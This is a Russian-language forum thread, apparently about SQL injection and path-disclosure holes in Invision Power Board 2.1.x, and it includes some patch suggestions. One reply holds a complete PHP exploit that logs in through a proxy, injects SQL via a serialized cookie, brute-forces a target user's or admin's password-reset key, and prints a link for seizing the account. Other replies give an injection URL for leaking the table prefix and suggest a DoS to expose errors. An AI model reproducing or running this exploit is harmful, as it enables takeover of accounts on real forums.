Перейти к контенту
  • 0

Множественные уязвимости в INVISION POWER BOARD 2.1.x


gta

Вопрос

Множественные уязвимости в INVISION POWER BOARD 2.1.x

3 крупных уязвимости обнаружили ребята из ru-24 team.

SQL-инъекции: 2 штуки, а также раскрытие полного пути. От себя добавлю несколько таких раскрытй в IPB 2.0.х.

Подробно читаем далее:

1) SQL Injection

В скрипте calendar.php в функции cal_event_save( $type='add' ) отсутствует проверка на тип в переменной event_id

$event_id		  = $this->ipsclass->input['event_id'];

Далее эта переменная подставляется напрямую в запрос к БД

 

$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'cal_events', 'where' => "event_id=$event_id" ) );

 

(и еще один запрос Это позволяет модифицировать запрос к базе данных

 

http://path_to_forum/index.php?act=calendar&code=doedit&type=qqq&event_id=your_SQL

 

Для успешной эксплуатации данной уязвимоти необходимо обладать правами для манипуляции с событиями календаря (добавление, редактирование)

Для исправления данной уязвимости достаточно

 

$event_id		  = $this->ipsclass->input['event_id'];

 

заменить на

 

$event_id = intval($this->ipsclass->input['event_id']);

 

 

2) Из-за ошибок в скриптах можно определить полный путь к установочной дирректории форума обратившись к одному из следующих скриптов напрямую:

 

path_to_forum/sources/loginauth/ldap/auth.php

path_to_forum/sources/loginauth/internal/auth.php

path_to_forum/sources/loginauth/external/auth.php

path_to_forum/sources/loginauth/convert/auth.php

path_to_forum/sources/loginauth/convert/auth.php.bak

path_to_forum/sources/lib/search_mysql_man.php

path_to_forum/sources/lib/search_mysql_ftext.php

path_to_forum/sources/classes/post/class_post_edit.php

path_to_forum/sources/classes/post/class_post_new.php

path_to_forum/sources/classes/post/class_post_reply.php

path_to_forum/sources/classes/editor/class_editor_std.php

path_to_forum/sources/classes/editor/class_editor_rte.php

path_to_forum/sources/classes/bbcode/class_bbcode.php

path_to_forum/sources/classes/bbcode/class_bbcode_legacy.php

path_to_forum/sources/acp_loaders/acp_pages_components.php

path_to_forum/ips_kernel/PEAR/Text/Diff3.php

path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/inline.php

path_to_forum/ips_kernel/PEAR/Text/Diff/Renderer/unified.php

 

Уязвимости найдены в форуме v2.1.3.Возможно уязвимы и другие версии.

 

От себя добавлю, что в ipb 2.0.x в файлах из папки mysql_queries такаяже уязвимость.

Ссылка на комментарий
Поделиться на других сайтах

Рекомендуемые сообщения

  • 0

Так значит 2.0.х тоже уязвима?! :D

 

Добавлено:

Ждем высказывания официальных лиц по поводу этих исправлений.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

"Свежо предание, да верится с трудом" ©

 

Чего-то пока не ясно зачем функцию intval() использовать. Разве ID календарного события не целое число?

 

Справка PHP:

intval

Возвращает целочисленное значение переменной.

 

Синтаксис :

int intval(mixed var, int [base]);

 

Возвращает целочисленное значение переменной var, используя указанное основание для перевода (по умолчанию 10). var может быть скалярного типа. Вы не можете использовать функцию intval() для массивов или объектов.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Вообще-то да, календарное событие, его ID, значение целое, поэтому я не вижу смысла в использовании функции. Где смысловая нагрузка?

 

Пример 1: _www.domain.com/forum/index.php?act=calendar&cal_id=1&code=showevent&event_id=17

Пример 2: _www.domain.com/forum/index.php?act=calendar&cal_id=1&code=showevent&event_id=24

 

Оба примера описывают календарное событие. Обратите внимание на event_id=x. Я посмотрел массу форумов, и везде значение целое. Или числа 17, 24 - не целые? :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0
А для 2.0.х какие исправления? Указанных выше строк нет вообще. :D
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я еле нашел эту строку в файлах. Интересно, автор сабжа знает в каком файле эта строка?

 

Сорри, это оффтоп.

Изменено пользователем vasyast
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Можно получить ссылку на смену пароля админа или любого юзера.

Есть условия: подходящая MySQL версия и включенный CURL-module.

<?


$proxy="24.48.*.*:**"; ## - your socks 4/5-proxy

$host="http://domain.ru";   ##  - target forum
$login="comod";			 ##  - login to forum
$password="1024768";			 ##  - pass to forum
$cook_name="ibf_topicsread";   ##  - target cookie name (default: ibf_topicsread)
$topic=5287;					 ##  - any real topyc
$target=1;					 ##  - id target to admin or other user  that you want to reset password
#####
#  At first you need to reset pasword for target user.
#   For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of you get link to change admin password)
####
$len=32;  ## 5 for salt		## it's my
$ver=1;						##  if not wor change to 2
$cookie_file_path = "/tmp/cookie";	## for my opinuion, you can to set other
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  ################################################################################

  $cookie="";

  echo "Login...";
  $url=$host."/index.php?act=Login&CODE=01&CookieDate=1";
  $reffer=$host."/index.php?act=Login&CODE=00";
  $post['UserName']=urlencode($login);
  $post['PassWord']=urlencode($password);
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,"");		  ###### Login to the forum

  $cook=getcookiee($result);
  foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }
  if (!strstr($result,$login)) {
	echo "error. Invalid Login or Password then Login\n";
	exit;
 }  else echo "done\n";

  echo "Redirecting to main page...";
  $url=$host.urldecode(ExtractString($result,$host,"\" "));
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"","");		  ###### Redirect to the main page

  $cook=getcookiee($result);
  foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }

if (!strstr($result,$login)) {
	echo "error. Invalid Login or Password then Redirect\n";
	exit;
 }  else echo "done\n";
  $reffer=$url;


  echo "Going to Control Panel...";
  $url=$host."/index.php?act=UserCP&CODE=00";
  $reffer="";$agent="";
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"","");			 ###### Go te the control panel
   $cook=getcookiee($result);
   foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }

if (!strstr($result,$login)) {
	echo "error. Invalid Login or Password then going to Control\n";
	exit;
 }	echo "done\n";



echo "Get table prefix...";
	  $arr[$topic]=1111111111;
	  $arr['-1) andd']=$topic;

  $cookie_base="";
  foreach ( $cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; }

	  $cookie_add=$cookie_base.$cook_name."=".urlencode(serialize($arr));
	  unset($arr);

	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	  if (!(strstr($result,"Error"))) {
		   echo "error. Target seems not vuln";
		   exit;  }
	  $pref=ExtractString($result,"SELECT * FROM ","topics");
	  echo "done prefix: ".$pref."\n";

$al="";
echo "Checking Mysql version....";
$targval=explode(".",$target);
	  $arr[$topic]=1111111111;
	  $arr['-1) and @@version<4/*']=$topic;
	  $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
	  unset($arr);
	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	  if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4 - GOOD!\n";
		  else { echo  "done Mysql ver < 4. We can use only dos\n";
				 exit;
		}
echo "Exploiting....";

	   $sent='%61%3A%32%3A%7B%73%3A';
	  if ($ver==1) $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,0,0,0,1,0,0,0,0,0,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";
			  else $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,null,null,0,0,1,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";

	  $arr[$topic]=1111111111;
	  $arr[$exp]=$topic;
	  $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
	  unset($arr);
	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	  if (!strstr($result,"different number of columns"))			{
		echo "done\n";
		$vid=substr($result,strpos($result,"</a></span>")-32,32);
		echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".$vid."] and change user password!\n";
	   } else {
		 echo "bad  Can't find number of colums\n";
		}
echo "Checking Mysql version 2....";
$targval=explode(".",$target);
	  $arr[$topic]=1111111111;
	  $arr['-1) and @@version<4.1/*']=$topic;
	  $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
	  unset($arr);
	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	  //echo $result;exit;
	  if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4.1 - GOOD!\n";
		  else { echo  "done Mysql ver < 4.1. We can't use SUBSELECT\n";
				 exit;
		}
echo "Bruteforcing....\n";
  $val="";
for ($j=16;$j<=$len;$j++) {
 $a2=128;
 $a1=32;
while (($a2-$a1)>=5) {
	  $s=round(($a1+$a2)/2,0);
	  echo $s;
	  $arr[$topic]=1111111111;
	  $arr['-1) and '.$s.'>(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
	  $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
	  unset($arr);
	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	  if ((strstr($result,"Error"))) {
		   echo "Error querry!\n";
		   exit;
		 }
	  if (strstr($result,"showtopic")) $a2=$s; else $a1=$s;
 }
 for ($i=$a1;$i<=$a2;$i++) {
	  echo $i;
	  $arr[$topic]=1111111111;
	  $arr['-1) and '.$i.'=(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
	  $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
	  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
	 // echo urlencode(serialize($arr)).$result;exit;
	  if (strstr($result,"showtopic"))  {
		  $val .= chr($i);
		  echo " - Get_symb:[".$j."] ".chr($i)."\n";
		  break;
		}
 }
}
echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".strtolower($val)."] and change user password!\n";

function getcookiee($result) {
  $res = explode("\n",$result);
  foreach ($res as $k=>$v ) {
if (ereg("Set-Cookie",$v)) {
  $c_a = explode(";",trim(str_replace("Set-Cookie:","",$v)));
  foreach ($c_a as $k=>$v ) {
		  if (!(ereg("expires",$v))) {
		   $arr=explode("=",trim($v));
		   $cook[trim($arr[0])]=trim($arr[1]);
		  }
	  }
}
 }
return $cook;
}
function querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,$cookie) {
   $ch = curl_init ();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_USERAGENT, $agent);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  0);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
   if ($post!="") {
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
		 }
   curl_setopt ($ch, CURLOPT_TIMEOUT, 120);
   curl_setopt ($ch, CURLOPT_PROXY, $proxy);
   curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
   curl_setopt ($ch, CURLOPT_FAILONERROR, false);
   curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_REFERER, $reffer);

   if ($cookie!="")
				   curl_setopt($ch, CURLOPT_COOKIE, $cookie);
//				   else {
					curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
					curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
//						}
   curl_setopt($ch, CURLOPT_HEADER, 1);
   $result = curl_exec($ch);
   $error=curl_errno($ch);
   curl_close ($ch);
   if ($error) $result="Fucking Error: ".$error."\r\n";
   if ($error==7) $result=$result." Failed to connect() to host or proxy.\r\n";
   if ($error==28) $result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n";
   if ($error==22) $result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n";
   return $result;
}

function ExtractString($str, $start, $end) {
 $str_low = ($str);
 if (strpos($str_low, $start) !== false && strpos($str_low, $end, strpos($str_low, $start)) !== false) {
  $pos1 = strpos($str_low, $start) + strlen($start);
  $pos2 = strpos($str_low, $end,strpos($str_low, $start)) - $pos1;
  return substr($str, $pos1, $pos2);
 }
}
?>

Ссылка на комментарий
Поделиться на других сайтах

  • 0

В поисковике нашел ссылки на первоисточник :D :

http://www.Ru24-Team.net/

http://damagelab.org/index.php?showtopic=5382

 

Этому как-то противостоять можно? В реале бы их встретить.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Странно, почему молчит IBR?

Свежие уязвимости, а как править неясно... :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

$cook_name="ibf_topicsread";   ##  - target cookie name (default: ibf_topicsread)

Ну-ну, все сидим на стандартном префиксе - атцы.

 

Прошу прощения, еще в течении недели нет возможности проверить, что сие за пакость. Подожду-ка я ребят из IBR :-)

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Да уж, в последнее время уязвимости сыпятся пачками :D

http://www.rst.void.ru/download/r57ipb2.txt

http://www.rst.void.ru/download/r57ipb.txt

 

Почти все сплоиты основаны на SQL инжекшене. Вот интересно может ли хакер каким либо образом узнать префикс таблицы (нестандартный)?

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Aleks

Несовсем понял, можно поподробнее..?

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Подскажите а как сменить префикс таблицы на свой если есть уже работающий форум, то есть НЕ В ПРОЦЕССЕ инсталляции. :D
Ссылка на комментарий
Поделиться на других сайтах

  • 0

вроде так:

если на форуме написать

SELECT * FROM ibf_members;

то форум заменит ibf_ на свой префикс

 

вроде так, давно тут такая инфа проскакивала

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Aleks

Нет, не заменяет :D Так что единственным способом остается устроить дос атаку, тогда высветится ошибка соединения с базой.

 

angel0

На http://forums.invisionize.com в разделе Tools есть специальный хак для этого.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

значит это в 1.3 было, давно.. тогда это ж хорошо.

 

хотя достаточно получить хоть одну SQL ошибку - и префикс как на ладони.

 

например с помощью вышеизложенных багов.

http://****/index.php?act=calendar&code=doedit&type=qqq&event_id=%27

 

и префикс получен

 

раскрытие пути должно лечится (по идее) добавлением в начало каждого файла конструкции

if ( ! defined( 'IN_IPB' ) )
{
	print "<h1>Incorrect access</h1>You cannot access this file directly. If you have recently upgraded, make sure you upgraded all the relevant files.";
	exit();
}

Ссылка на комментарий
Поделиться на других сайтах

  • 0
например с помощью вышеизложенных багов.

http://****/index.php?act=calendar&code=doedit&type=qqq&event_id=%27

Странно набирая это на своем форуме, у меня выдается просто сообщение "Обнаружена ошибка и т.д."

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Хм... а у меня на форуме вылезла SQL ERROR .. %(

 

хотя кажется понятно.... эошибка выскочит у тех, кому МОЖНО редактировать события календаря.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Aleks

Ну дык я же админ, у меня должна была выскочить :D

 

Да и степень критичности конечно очень маленькая, так как редактировать события календаря могут только админы и модеры.

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.